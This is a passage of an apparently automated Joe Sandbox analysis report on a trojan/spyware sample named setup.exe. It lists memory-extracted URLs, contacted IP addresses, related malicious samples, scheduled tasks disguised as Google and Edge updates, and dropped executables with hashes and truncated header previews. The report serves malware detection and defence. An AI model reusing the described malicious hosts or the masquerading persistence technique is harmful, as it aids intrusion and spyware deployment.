http://www.idpminic.orgD8tj	vbc.exe, 00000002.00000002.422820440.0000000006BC3000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.422526105.0000000006BAE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13Response	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	vbc.exe, 00000002.00000002.423930601.0000000006C29000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.433768156.0000000006EA8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.452118880.0000000007C9B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441743354.0000000007B2F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.370584866.0000000007238000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.439415318.00000000070A5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441507279.0000000007B12000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.364491305.0000000008010000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.452527049.0000000007CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22Response	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	vbc.exe, 00000002.00000002.423930601.0000000006C29000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.433768156.0000000006EA8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.452118880.0000000007C9B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441743354.0000000007B2F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.370584866.0000000007238000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.439415318.00000000070A5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441507279.0000000007B12000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.364491305.0000000008010000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.452527049.0000000007CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfp	vbc.exe, 00000002.00000002.441743354.0000000007B2F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.364491305.0000000008010000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.452527049.0000000007CB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id18Response	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id3Response	vbc.exe, 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm	vbc.exe, 00000002.00000002.418998643.0000000006A81000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
51.195.77.248	unknown	France	16276	OVHFR	false
79.137.204.112	unknown	Russian Federation	42569	PSKSET-ASRU	true
172.66.43.60	api.peer2profit.com	United States	13335	CLOUDFLARENETUS	true
66.235.200.147	idpminic.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	754509
Start date and time:	2022-11-27 04:35:06 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	setup.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	76
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@116/35@5/5
EGA Information:	Successful, ratio: 66.7%
HDC Information:	Successful, ratio: 95.2% (good quality ratio 84.3%) Quality average: 75.8% Quality standard deviation: 33.5%
HCA Information:	Successful, ratio: 99% Number of executed functions: 228 Number of non-executed functions: 98
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 104.26.13.31, 172.67.75.172, 104.26.12.31
Excluded domains from analysis (whitelisted): client.wns.windows.com, api.ip.sb.cdn.cloudflare.net, ctldl.windowsupdate.com
Execution Graph export aborted for target vbc.exe, PID 860 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:36:30	API Interceptor	73x Sleep call for process: vbc.exe modified
04:36:41	API Interceptor	1x Sleep call for process: brave.exe modified
04:36:44	Task Scheduler	Run new task: MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca} path: C:\Users\user\AppData\Local\Google\ofg.exe
04:36:44	API Interceptor	210x Sleep call for process: powershell.exe modified
04:36:48	API Interceptor	3x Sleep call for process: chrome.exe modified
04:36:52	Task Scheduler	Run new task: GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe} path: C:\Users\user\AppData\Local\Google\chrome.exe
04:37:03	Task Scheduler	Run new task: GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5} path: C:\Users\user\AppData\Local\Google\chrome.exe
04:37:12	API Interceptor	761x Sleep call for process: GoogleUpdate.exe modified
04:38:01	Task Scheduler	Run new task: GoogleUpdateTaskMachineQC path: C:\Program Files\Google\Chrome\updater.exe
04:38:11	API Interceptor	1x Sleep call for process: updater.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
51.195.77.248	0B1F6297E8BFA8FC9FF8A7AD85487FF456C0D66EF2D90.exe	Get hash	malicious	Browse
79.137.204.112	Setup.exe	Get hash	malicious	Browse
	Setup.exe	Get hash	malicious	Browse
	Loader.exe	Get hash	malicious	Browse
	AQjjTzMuUR.exe	Get hash	malicious	Browse
	AJ46HzaAxk.exe	Get hash	malicious	Browse
	Installer.exe	Get hash	malicious	Browse
	ndkqXR67bn.exe	Get hash	malicious	Browse
	MpQXSnRgA3.exe	Get hash	malicious	Browse
172.66.43.60	hZDPlQwZ9D.exe	Get hash	malicious	Browse
	cfBJlHsOsz.exe	Get hash	malicious	Browse
	6iWK0k820U.exe	Get hash	malicious	Browse
	E3BaMFIxln.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	Et5O2B7DgL.exe	Get hash	malicious	Browse
	EK2JI99VDm.exe	Get hash	malicious	Browse
	xchUUtf3km.exe	Get hash	malicious	Browse
	a7sbIsZgQU.exe	Get hash	malicious	Browse
	KHGOzMiMEc.exe	Get hash	malicious	Browse
	NJD5jNzN1k.exe	Get hash	malicious	Browse
	YQ1u1r2mGC.exe	Get hash	malicious	Browse
	vPMLS1HVsL.exe	Get hash	malicious	Browse
	F9JyRaGSFC.exe	Get hash	malicious	Browse
	4EDB9CEDA2B49B682D3E30C4925610F81FFCC7D2B46A2.exe	Get hash	malicious	Browse
	1D9DD4AE9D1BA20DBF36549110C16150525122F3AA7FD.exe	Get hash	malicious	Browse
	CE349E565197AA1AFAF25F21B5CDBB80880B96B34800F.exe	Get hash	malicious	Browse
	1A292CC8DA0DBDC4608018679F60E2EEB070C06374FDD.exe	Get hash	malicious	Browse
	DFAF9FE4937AB169D48157BAE84DEF3DD608A21E93390.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api.peer2profit.com	hZDPlQwZ9D.exe	Get hash	malicious	Browse	172.66.43.60
	cfBJlHsOsz.exe	Get hash	malicious	Browse	172.66.43.60
	FKN6uh7y01.exe	Get hash	malicious	Browse	172.66.40.196
	6iWK0k820U.exe	Get hash	malicious	Browse	172.66.43.60
	SecuriteInfo.com.Trojan.Siggen18.63785.2847.13207.exe	Get hash	malicious	Browse	172.66.40.196
	RTKnv6MTnw.exe	Get hash	malicious	Browse	172.66.43.60
	Mvt8bzQ4Je.exe	Get hash	malicious	Browse	172.66.40.196
	E3BaMFIxln.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.40.196
	fbRudpXdRE.exe	Get hash	malicious	Browse	172.66.40.196
	Et5O2B7DgL.exe	Get hash	malicious	Browse	172.66.43.60
	EK2JI99VDm.exe	Get hash	malicious	Browse	172.66.43.60
	EK2JI99VDm.exe	Get hash	malicious	Browse	172.66.40.196
	LTxl97QUra.exe	Get hash	malicious	Browse	172.66.40.196
	xchUUtf3km.exe	Get hash	malicious	Browse	172.66.43.60

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
OVHFR	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	151.80.89.227
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	gmK3QYmnDH.exe	Get hash	malicious	Browse	5.135.247.111
	tM4VfJr2KR.elf	Get hash	malicious	Browse	51.91.122.184
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	RnBxifYqXF.exe	Get hash	malicious	Browse	5.135.247.111
	hZDPlQwZ9D.exe	Get hash	malicious	Browse	51.68.171.249
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	9FC9D28077290D908516A0FB27BBD7361E7B8EC842E34.dll	Get hash	malicious	Browse	167.114.188.34
PSKSET-ASRU	CrackHack 2.7.exe	Get hash	malicious	Browse	79.137.192.20
	file.exe	Get hash	malicious	Browse	79.137.196.11
	69n6lXr8hf.exe	Get hash	malicious	Browse	79.137.196.11
	XmQzCKDUTH.exe	Get hash	malicious	Browse	79.137.192.9
	HKK6hf4V4j.exe	Get hash	malicious	Browse	79.137.192.6
	zw3C4eI7Qi.exe	Get hash	malicious	Browse	79.137.192.9
	file.exe	Get hash	malicious	Browse	89.208.104.172
	SecuriteInfo.com.Trojan.Siggen18.63785.2847.13207.exe	Get hash	malicious	Browse	79.137.192.7
	https://linkprotect.cudasvc.com/url?a=https%3a%2f%2fpostsign.web.app/snW10h3unteneya51nW1arks-r9slerkd07r9s0h3nW1&c=2758	Get hash	malicious	Browse	89.208.105.244
	https://linkprotect.cudasvc.com/url?a=https%3a%2f%2fpostsign.web.app/snW10h3unteneya51nW1arks-r9slerkd07r9s0h3nW1&c=2758	Get hash	malicious	Browse	89.208.105.244
	https://linkprotect.cudasvc.com/url?a=https%3a%2f%2fedufoster.org%2fsarahd07prasada51headres0h3urr9singd07r9s0h3nW1&c=4308	Get hash	malicious	Browse	89.208.105.244
	https://edufoster.org/guybartera51rhsd070h3rgd07uk	Get hash	malicious	Browse	89.208.105.244
	gt1tkSerPe.exe	Get hash	malicious	Browse	79.137.192.20
	l5orrOFBzy.exe	Get hash	malicious	Browse	79.137.192.6
	KAQk6EixAb.exe	Get hash	malicious	Browse	79.137.196.94
	file.exe	Get hash	malicious	Browse	79.137.194.32
	S2XJ2wbz7u.exe	Get hash	malicious	Browse	89.208.107.216
	FTW5n9dx7z.exe	Get hash	malicious	Browse	79.137.206.137
	wZEC4Uhoqv.exe	Get hash	malicious	Browse	89.208.103.56
	ox8mZgHPBu.exe	Get hash	malicious	Browse	89.208.103.56

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Browse	172.66.43.60
	G6BLxYuvUq.exe	Get hash	malicious	Browse	172.66.43.60
	h48Jsm7kqP.exe	Get hash	malicious	Browse	172.66.43.60
	cLBfz7BdvL.exe	Get hash	malicious	Browse	172.66.43.60
	S075F13sib.exe	Get hash	malicious	Browse	172.66.43.60
	FGBX7XkY6M.exe	Get hash	malicious	Browse	172.66.43.60
	4iBpiQUavIMb.exe	Get hash	malicious	Browse	172.66.43.60
	Outdated_PO_Invoice.shtml	Get hash	malicious	Browse	172.66.43.60
	PcAppStore.exe	Get hash	malicious	Browse	172.66.43.60
	SecuriteInfo.com.Trojan.Packed2.44597.21015.23374.exe	Get hash	malicious	Browse	172.66.43.60
	Fact63814.msi	Get hash	malicious	Browse	172.66.43.60
	hpfezqOhXF.exe	Get hash	malicious	Browse	172.66.43.60
	SecuriteInfo.com.Trojan.Siggen17.50710.6825.7384.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	https://average.grupoinfozonal.com/	Get hash	malicious	Browse	172.66.43.60
	F1YRLY8QhH.exe	Get hash	malicious	Browse	172.66.43.60
	PO#specification803.dll	Get hash	malicious	Browse	172.66.43.60
	PO#specification803.dll	Get hash	malicious	Browse	172.66.43.60
	Detallemovimiento.vbe	Get hash	malicious	Browse	172.66.43.60
	DOGLAA84299.dll	Get hash	malicious	Browse	172.66.43.60

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Program Files\Google\Chrome\updater.exe	hZDPlQwZ9D.exe	Get hash	malicious	Browse
	cfBJlHsOsz.exe	Get hash	malicious	Browse
	FKN6uh7y01.exe	Get hash	malicious	Browse
	6iWK0k820U.exe	Get hash	malicious	Browse
	E3BaMFIxln.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	Setup.exe	Get hash	malicious	Browse
	Loader.exe	Get hash	malicious	Browse
	AJ46HzaAxk.exe	Get hash	malicious	Browse
	Installer.exe	Get hash	malicious	Browse
	ndkqXR67bn.exe	Get hash	malicious	Browse
	NCVVe1Xqfs.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Google\brave.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2884609
Entropy (8bit):	7.915812566955318
Encrypted:	false
SSDEEP:	49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5:	EB27BB8CFA99D659E4FE023E9002ECD1
SHA1:	C783400302FDFAE0518269C5A5A8D4BAD29F42A3
SHA-256:	9C01D90543458567C4737731EE6754CC209E4BB78FF648EB75C4D23BE261EF2F
SHA-512:	AB5AD3C094ED1F094AA82D80D298E6D0AB15A94B58B007DBE8A6219FE8498569B5D9013D770BD9910F177F94F2639D84650655E8F60113051E98B386C49C36A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 85%
Joe Sandbox View:	Filename: hZDPlQwZ9D.exe, Detection: malicious, Browse Filename: cfBJlHsOsz.exe, Detection: malicious, Browse Filename: FKN6uh7y01.exe, Detection: malicious, Browse Filename: 6iWK0k820U.exe, Detection: malicious, Browse Filename: E3BaMFIxln.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Loader.exe, Detection: malicious, Browse Filename: AJ46HzaAxk.exe, Detection: malicious, Browse Filename: Installer.exe, Detection: malicious, Browse Filename: ndkqXR67bn.exe, Detection: malicious, Browse Filename: NCVVe1Xqfs.exe, Detection: malicious, Browse
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d...."Cc...............$......,................@..............................,.......,...`... .............................................. ,......`,.......+..8...........p,.............................`Z+.(....................$,.0............................text...x...........................`.P`.data.....'..0....'.................@.`..rdata..pP...0+..R....+.............@.`@.pdata...8....+..:...n+.............@.0@.xdata...1....+..2....+.............@.0@.bss..........,.......................`..idata....... ,.......+.............@.0..CRT....x....@,.......+.............@.@..tls.........P,.......+.............@.@..rsrc........`,.......+.............@.0..reloc.......p,.......,.............@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Google\brave.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2884608
Entropy (8bit):	7.915813410181377
Encrypted:	false
SSDEEP:	49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5:	9253ED091D81E076A3037E12AF3DC871
SHA1:	EC02829A25B3BF57AD061BBE54180D0C99C76981
SHA-256:	78E0A8309BC850037E12C2D72A5B0843DCD8B412A0A597C2A3DCBD44E9F3C859
SHA-512:	29FF2FD5F150D10B2D281A45DF5B44873192605DE8DC95278D6A7B5053370E4AC64A47100B13C63F3C048DF351A9B51F0B93AF7D922399A91508A50C152E8CF4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 85%
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d...."Cc...............$......,................@..............................,.......,...`... .............................................. ,......`,.......+..8...........p,.............................`Z+.(....................$,.0............................text...x...........................`.P`.data.....'..0....'.................@.`..rdata..pP...0+..R....+.............@.`@.pdata...8....+..:...n+.............@.0@.xdata...1....+..2....+.............@.0@.bss..........,.......................`..idata....... ,.......+.............@.0..CRT....x....@,.......+.............@.@..tls.........P,.......+.............@.@..rsrc........`,.......+.............@.0..reloc.......p,.......,.............@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Google\chrome.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6423552
Entropy (8bit):	7.922005336740627
Encrypted:	false
SSDEEP:	98304:Zr+dbd33oSpsJu9oR+bY11UhoIwBOqF85EiqrvBb2s4U5OoNkI9xFvPrBtOs6ha:x+BzpWu891ZDBOr+iqrpbTLp/U
MD5:	8CD1EA50F8F4C45055400E70DA52B326
SHA1:	40AF98091E8C32CE9C90502B3D851EBC231CACF9
SHA-256:	66552CBE03B205CBA08A2524FB93303DEC5EDF51188758B08D12624DB1EE73E1
SHA-512:	B0BE3ACCCF8CE64343B10E33B7CD5E7292164259D65C07E0C63C08DC05BFA0CF268290B3A37F20F6AFA81D7163BE8C90AC9AE9A7FB93C3E61CBC08310A2BEAF1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<...xb..xb..xb.....rb......b.....lb.....Tb.....ib..*...lb.....}b..xb..,b.....{b...i.yb.....yb..Richxb..........................PE..L.....qc.................2....`......o.......P....@..........................Pb.......b...@.................................D.\.<.... ]......................0b.\|.....\.......................\.......\.@............P...............................text...30.......2.................. ..`.rdata....[..P....[..6..............@..@.data.........].......\.............@....rsrc........ ].......\.............@..@.reloc..\|....0b.......a.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\ofg.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	6.270431868500399
Encrypted:	false
SSDEEP:	1536:apyR0Fl1K6g0e8hsEvKAxtE4zo8Sw7Ky7NGHjQR54z5sW0cd/cbPpGA/uYEmsn:a9l1Ed8hsEfLoBw7p7B54p/uPpGA/VEr
MD5:	33DAD992607D0FFD44D2C81FE67F8FB1
SHA1:	E5B67DC05505FB1232504231F41CBA225C282D3C
SHA-256:	95903D8C2D48C4C0667E41878807F646F7648A33ED25D0EB433AAB41C25E31A4
SHA-512:	444973B44292C433A07E5F75F6580EA71799B1F835677BC5B2E42AF6B567A2F70F1B038F019D250A18216701CCF901B300632487EEBCC1113AC803EDB43159E4
Malicious:	true
Yara Hits:	Rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM, Description: Detects executables embedding command execution via IExecuteCommand COM object, Source: C:\Users\user\AppData\Local\Google\ofg.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 27%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}f.I9...9...9....u..3....u.......u..-...kr......kr..(...kr..*....u..0...9...X....r..8....r=.8....r..8...Rich9...........................PE..L...oz~c.............................$............@.......................................@..................................L..d...............................L....?..8....................@.......?..@...............T............................text............................... ..`.rdata...d.......f..................@..@.data........`.......<..............@....rsrc................F..............@..@.reloc..L............H..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2843
Entropy (8bit):	5.3371553026862095
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIWUfHKhBHKdHKBfHK5AHKzvQTHmtHoxHImHK1HjHKg:iqXeqm00YqhQnouOqLqdqNq2qzcGtIxU
MD5:	DCF12DDFCA2FD2701AE5EA0012964E90
SHA1:	AB37B70FB4E34C888BEFFFF54BA5AE34373C816B
SHA-256:	3B28B517A00543FA53ADC147DB9996DF6FF59D002FF65823D5625B44B2D1A406
SHA-512:	5D35EA912835CEB875896F9971225643642245BC6E356AF0D1B370CF4488CE7390D525E526256B9231511DACF4762094D219F20129D96C59778CEF91DDF06538
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	42051
